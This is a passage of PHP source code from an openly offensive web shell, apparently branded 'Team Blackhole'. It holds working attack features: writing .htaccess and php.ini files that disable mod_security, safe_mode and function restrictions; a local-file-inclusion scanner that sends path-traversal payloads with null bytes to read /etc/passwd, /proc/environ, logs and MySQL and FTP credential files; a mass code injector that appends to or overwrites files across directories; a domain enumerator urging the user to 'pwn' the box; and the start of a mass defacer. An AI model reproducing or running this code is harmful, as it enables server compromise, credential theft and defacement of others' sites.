  1823. echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
  1824. if(!empty($_POST['p2']) && isset($_POST['p2']))
  1825. {
  1826. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1827. fwrite($fil,'<IfModule mod_security.c>
  1828. Sec------Engine Off
  1829. Sec------ScanPOST Off
  1830. </IfModule>');
  1831. fclose($fil);
  1832. }
  1833. if(!empty($_POST['p1'])&& isset($_POST['p1']))
  1834. {
  1835. $fil=fopen($GLOBALS['cwd']."php.ini","w");
  1836. fwrite($fil,'safe_mode=OFF
  1837. disable_functions=NONE');
  1838. fclose($fil);
  1839. }
  1840. if(!empty($_POST['p3']) && isset($_POST['p3']))
  1841. {
  1842. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1843. fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  1844. AddType application/x-httpd-cgi .sh
  1845. AddHandler cgi-script .pl
  1846. AddHandler cgi-script .pl');
  1847. fclose($fil);
  1848. }
  1849. echo "<br><br /><br /></div>";
  1850. echo '</div>';
  1851. printFooter();
  1852. }
  1853.  
  1854. function actionlfiscan() {
  1855. printHeader();
  1856. print '
  1857. <h3>LFI File Scanner & Dumper</h3>
  1858.  
  1859. <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
  1860. LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
  1861. <option value="1">
  1862. Access Log
  1863. </option>
  1864.  
  1865. <option value="2">
  1866. httpd.conf
  1867. </option>
  1868.  
  1869. <option value="3">
  1870. Error Log
  1871. </option>
  1872. <option value="4">
  1873. php.ini
  1874. </option>
  1875. <option value="5">
  1876. MySQL
  1877. </option>
  1878. <option value="6">
  1879. FTP
  1880. </option>
  1881. <option value="7">
  1882. Environ
  1883. </option>
  1884. </select> Null: <select name="null">
  1885. <option value="%00">
  1886. Yes
  1887. </option>
  1888.  
  1889. <option value="">
  1890. No
  1891. </option>
  1892. </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
  1893. </form>';
  1894. error_reporting(0);
  1895. if($_POST['lfiurl']) {
  1896. print "<pre>";
  1897. $cheader = $_POST['custom_header'];
  1898. $target = $_POST['lfiurl'];
  1899. $type = $_POST['scantype'];
  1900. $byte1 = $_POST['null'];
  1901. $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
  1902. $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
  1903. $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
  1904. $lfiaccess = array(
  1905. 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
  1906. 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
  1907. 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
  1908. 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
  1909. 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
  1910. 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
  1911. 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
  1912. 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
  1913. 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
  1914. 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
  1915. 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
  1916. 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
  1917. 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
  1918. 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
  1919. 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
  1920. 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
  1921. 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
  1922. 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
  1923. 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
  1924. 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
  1925. 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
  1926. 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
  1927. 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
  1928.  
  1929. $lfierror = array(
  1930. 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
  1931. 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
  1932. 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
  1933. 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
  1934. 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
  1935. 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
  1936. 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
  1937. 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
  1938. 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
  1939. 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
  1940. 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
  1941. 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
  1942. 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
  1943. 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
  1944. 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
  1945. 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
  1946. 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
  1947. 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
  1948. 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
  1949. 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
  1950. 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
  1951. 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
  1952. 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
  1953.  
  1954. $lficonfig = array(
  1955. 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
  1956. 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
  1957. 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
  1958. 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
  1959. 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
  1960. 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
  1961. 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
  1962. 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
  1963. 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
  1964. 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
  1965. 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
  1966. 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
  1967. 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
  1968. 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
  1969. 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
  1970. 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
  1971. 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
  1972. 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
  1973. 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
  1974. 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
  1975. 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
  1976. 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
  1977. 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
  1978. 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
  1979. 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
  1980. 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
  1981. 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
  1982. 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
  1983. 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
  1984. 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
  1985. 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
  1986. 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
  1987. 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
  1988. 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
  1989. 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
  1990.  
  1991. $lfiphpini = array(
  1992. 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
  1993. 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
  1994. 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
  1995. 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
  1996. 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
  1997. 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
  1998. 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
  1999. 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
  2000. 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
  2001. 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
  2002. 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
  2003. 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
  2004. 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
  2005. 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
  2006. 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
  2007. 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
  2008. 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
  2009. 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
  2010. 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
  2011. 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
  2012. 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
  2013. 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
  2014. 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
  2015. 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
  2016. 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
  2017. 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
  2018. 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
  2019.  
  2020. $lfimysql = array(
  2021. 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
  2022. 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
  2023. 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
  2024. 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
  2025. 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
  2026. 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
  2027. 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
  2028. 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
  2029. 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
  2030. 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
  2031.  
  2032. $lfiftp = array(
  2033. 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
  2034. 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
  2035. 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
  2036. 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
  2037. 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
  2038. 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
  2039. 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
  2040. 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
  2041. 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
  2042. 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
  2043. 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
  2044. 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
  2045. 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
  2046. 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
  2047. 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
  2048. 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
  2049. 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
  2050. 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
  2051. 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
  2052. 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
  2053. 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
  2054. 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
  2055. 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
  2056. 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
  2057. 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
  2058. 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
  2059. 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
  2060. 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
  2061. 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
  2062. 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
  2063. 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
  2064. 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
  2065. 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
  2066. 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
  2067. 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
  2068. 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
  2069. 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
  2070. 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
  2071. 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
  2072. 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
  2073. 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
  2074. 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
  2075. 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
  2076. 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
  2077.  
  2078.  
  2079. $x = 1;
  2080. if ( $type == 1 ) {
  2081. $res1 = FetchURL($target.$lfitest);
  2082. $res2 = FetchURL($target.$lfitest2);
  2083. $rhash1 = md5($res1);
  2084. $rhash2 = md5($res2);
  2085. if ($rhash1 != $rhash2) {
  2086. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2087. while($lfiaccess[$x]) {
  2088. $res3 = FetchURL($target.$lfiaccess[$x]);
  2089. $rhash3 = md5($res3);
  2090. if ($rhash3 != $rhash2) {
  2091. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
  2092. }
  2093. else {
  2094. print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
  2095. }
  2096. $x++;
  2097. }
  2098. }
  2099. }
  2100. if ( $type == 2 ) {
  2101. $res1 = FetchURL($target.$lfitest);
  2102. $res2 = FetchURL($target.$lfitest2);
  2103. $rhash1 = md5($res1);
  2104. $rhash2 = md5($res2);
  2105. if ($rhash1 != $rhash2) {
  2106. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2107. while($lficonfig[$x]) {
  2108. $res3 = FetchURL($target.$lficonfig[$x]);
  2109. $rhash3 = md5($res3);
  2110. if ($rhash3 != $rhash2) {
  2111. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
  2112. }
  2113. else {
  2114. print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
  2115. }
  2116. $x++;
  2117. }
  2118. }
  2119. }
  2120. if ( $type == 3 ) {
  2121. $res1 = FetchURL($target.$lfitest);
  2122. $res2 = FetchURL($target.$lfitest2);
  2123. $rhash1 = md5($res1);
  2124. $rhash2 = md5($res2);
  2125. if ($rhash1 != $rhash2) {
  2126. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2127. while($lfierror[$x]) {
  2128. $res3 = FetchURL($target.$lfierror[$x]);
  2129. $rhash3 = md5($res3);
  2130. if ($rhash3 != $rhash2) {
  2131. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
  2132. }
  2133. else {
  2134. print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
  2135. }
  2136. $x++;
  2137. }
  2138. }
  2139. }
  2140. if ( $type == 4 ) {
  2141. $res1 = FetchURL($target.$lfitest);
  2142. $res2 = FetchURL($target.$lfitest2);
  2143. $rhash1 = md5($res1);
  2144. $rhash2 = md5($res2);
  2145. if ($rhash1 != $rhash2) {
  2146. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2147. while($lfiphpini[$x]) {
  2148. $res3 = FetchURL($target.$lfiphpini[$x]);
  2149. $rhash3 = md5($res3);
  2150. if ($rhash3 != $rhash2) {
  2151. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
  2152. }
  2153. else {
  2154. print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
  2155. }
  2156. $x++;
  2157. }
  2158. }
  2159. }
  2160. if ( $type == 5 ) {
  2161. $res1 = FetchURL($target.$lfitest);
  2162. $res2 = FetchURL($target.$lfitest2);
  2163. $rhash1 = md5($res1);
  2164. $rhash2 = md5($res2);
  2165. if ($rhash1 != $rhash2) {
  2166. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2167. while($lfimysql[$x]) {
  2168. $res3 = FetchURL($target.$lfimysql[$x]);
  2169. $rhash3 = md5($res3);
  2170. if ($rhash3 != $rhash2) {
  2171. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
  2172. }
  2173. else {
  2174. print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
  2175. }
  2176. $x++;
  2177. }
  2178. }
  2179. }
  2180. if ( $type == 6 ) {
  2181. $res1 = FetchURL($target.$lfitest);
  2182. $res2 = FetchURL($target.$lfitest2);
  2183. $rhash1 = md5($res1);
  2184. $rhash2 = md5($res2);
  2185. if ($rhash1 != $rhash2) {
  2186. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2187. while($lfiftp[$x]) {
  2188. $res3 = FetchURL($target.$lfiftp[$x]);
  2189. $rhash3 = md5($res3);
  2190. if ($rhash3 != $rhash2) {
  2191. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
  2192. }
  2193. else {
  2194. print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
  2195. }
  2196. $x++;
  2197. }
  2198. }
  2199. }
  2200. if ( $type == 7 ) {
  2201. $res1 = FetchURL($target.$lfitest);
  2202. $res2 = FetchURL($target.$lfitest2);
  2203. $rhash1 = md5($res1);
  2204. $rhash2 = md5($res2);
  2205. if ($rhash1 != $rhash2) {
  2206. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
  2207. $res3 = FetchURL($target.$lfiprocenv);
  2208. $rhash3 = md5($res3);
  2209. if ($rhash3 != $rhash2) {
  2210. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
  2211. }
  2212. else {
  2213. print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
  2214. }
  2215. }
  2216. }
  2217. }
  2218. }
  2219. printFooter();
  2220. }
  2221.  
  2222. function actionInjector(){
  2223. printHeader();
  2224. echo '<h1>Mass Code Injector</h1>';
  2225. echo '<div class="content">';
  2226.  
  2227. if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
  2228. function get_structure($path,$depth) {
  2229. global $DS;
  2230. $res = array();
  2231. if(in_array(0, $depth)) { $res[] = $path; }
  2232. if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
  2233. $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
  2234. if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
  2235. }
  2236. if(in_array(2, $depth) or in_array(3, $depth)) {
  2237. $tmp2 = array();
  2238. foreach($tmp1 as $t){
  2239. $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
  2240. $tmp2 = array_merge($tmp2, $tp2);
  2241. }
  2242. if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
  2243. }
  2244. if(in_array(3, $depth)) {
  2245. $tmp3 = array();
  2246. foreach($tmp2 as $t){
  2247. $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
  2248. $tmp3 = array_merge($tmp3, $tp3);
  2249. }
  2250. $res = array_merge($res,$tmp3);
  2251. }
  2252. return $res;
  2253. }
  2254.  
  2255. if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
  2256. $name = $_POST['name'] ? $_POST['name'] : '*';
  2257. $type = $_POST['type'] ? $_POST['type'] : 'html';
  2258. $path = $_POST['path'] ? $_POST['path'] : getcwd();
  2259. $code = $_POST['code'] ? $_POST['code'] : 'Team Blackhole';
  2260. $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
  2261. $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
  2262. $dt = get_structure($path,$depth);
  2263. foreach ($dt as $d) {
  2264. if($mode == 'a') {
  2265. if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
  2266. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  2267. } else {
  2268. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  2269. }
  2270. } else {
  2271. if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
  2272. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  2273. } else {
  2274. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  2275. }
  2276. }
  2277. }
  2278. } else {
  2279. echo '<form method="post" action="">
  2280. <table align="center">
  2281. <tr>
  2282. <td>Directory : </td>
  2283. <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
  2284. </tr>
  2285. <tr>
  2286. <td class="title">Mode : </td>
  2287. <td>
  2288. <select style="width: 100px;" name="mode" class="box">
  2289. <option value="a">Apender</option>
  2290. <option value="w">Overwriter</option>
  2291. </select>
  2292. </td>
  2293. </tr>
  2294. <tr>
  2295. <td class="title">File Name & Type : </td>
  2296. <td>
  2297. <input type="text" style="width: 100px;" name="name" value="*"/>&nbsp;&nbsp;
  2298. <select style="width: 100px;" name="type" class="box">
  2299. <option value="html">HTML</option>
  2300. <option value="htm">HTM</option>
  2301. <option value="php" selected="selected">PHP</option>
  2302. <option value="asp">ASP</option>
  2303. <option value="aspx">ASPX</option>
  2304. <option value="xml">XML</option>
  2305. <option value="txt">TXT</option>
  2306. </select></td>
  2307. </tr>
  2308. <tr>
  2309. <td class="title">Code Inject Depth : </td>
  2310. <td>
  2311. <input type="checkbox" name="depth[]" value="0" checked="checked"/>&nbsp;0&nbsp;&nbsp;
  2312. <input type="checkbox" name="depth[]" value="1"/>&nbsp;1&nbsp;&nbsp;
  2313. <input type="checkbox" name="depth[]" value="2"/>&nbsp;2&nbsp;&nbsp;
  2314. <input type="checkbox" name="depth[]" value="3"/>&nbsp;3
  2315. </td>
  2316. </tr>
  2317. <tr>
  2318. <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
  2319. </tr>
  2320. <tr>
  2321. <td colspan="2" style="text-align: center;">
  2322. <input type="hidden" name="a" value="Injector">
  2323. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  2324. <input type="hidden" name="p1">
  2325. <input type="hidden" name="p2">
  2326. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  2327. <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
  2328. </tr>
  2329. </table>
  2330. </form>';
  2331. }
  2332. echo '</div>';
  2333. printFooter();
  2334. }
  2335.  
  2336. function actionDomain() {
  2337. printHeader();
  2338. echo '<h1>Local Domains</h1><div class=content>';
  2339. $file = @implode(@file("/etc/named.conf"));
  2340. if (!$file) {
  2341. die("# Can't Read [/etc/named.conf] ... Sorry ! :( ");
  2342. }
  2343. preg_match_all("#named/(.*?).db#", $file, $r);
  2344. $domains = array_unique($r[1]);
  2345. //check();
  2346. //if(isset($_GET['ShowAll']))
  2347. {
  2348. echo "<table align=center border=1 width=59% cellpadding=5>
  2349. <tr><td colspan=2>[#] There are : [ <b>" . count($domains) . "</b> ] Domain(s) on this box ... * I Suggest That You Should Pwn it ;) :D*</td></tr>
  2350. <tr><td>Domain</td><td>User</td></tr>";
  2351. foreach ($domains as $domain) {
  2352. $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
  2353. echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
  2354. }
  2355. echo "</table>";
  2356. }
  2357. echo '</div>';
  2358. printFooter();
  2359. }
  2360.  
  2361. function actionDeface() {
  2362. printHeader();
  2363. echo "<h1>Simple Mass Defacer</h1><div class=content>";
  2364. ?>
  2365. <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
  2366. <p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
  2367. <br>file name : <input type=text name=file size=20 value="index.htm">
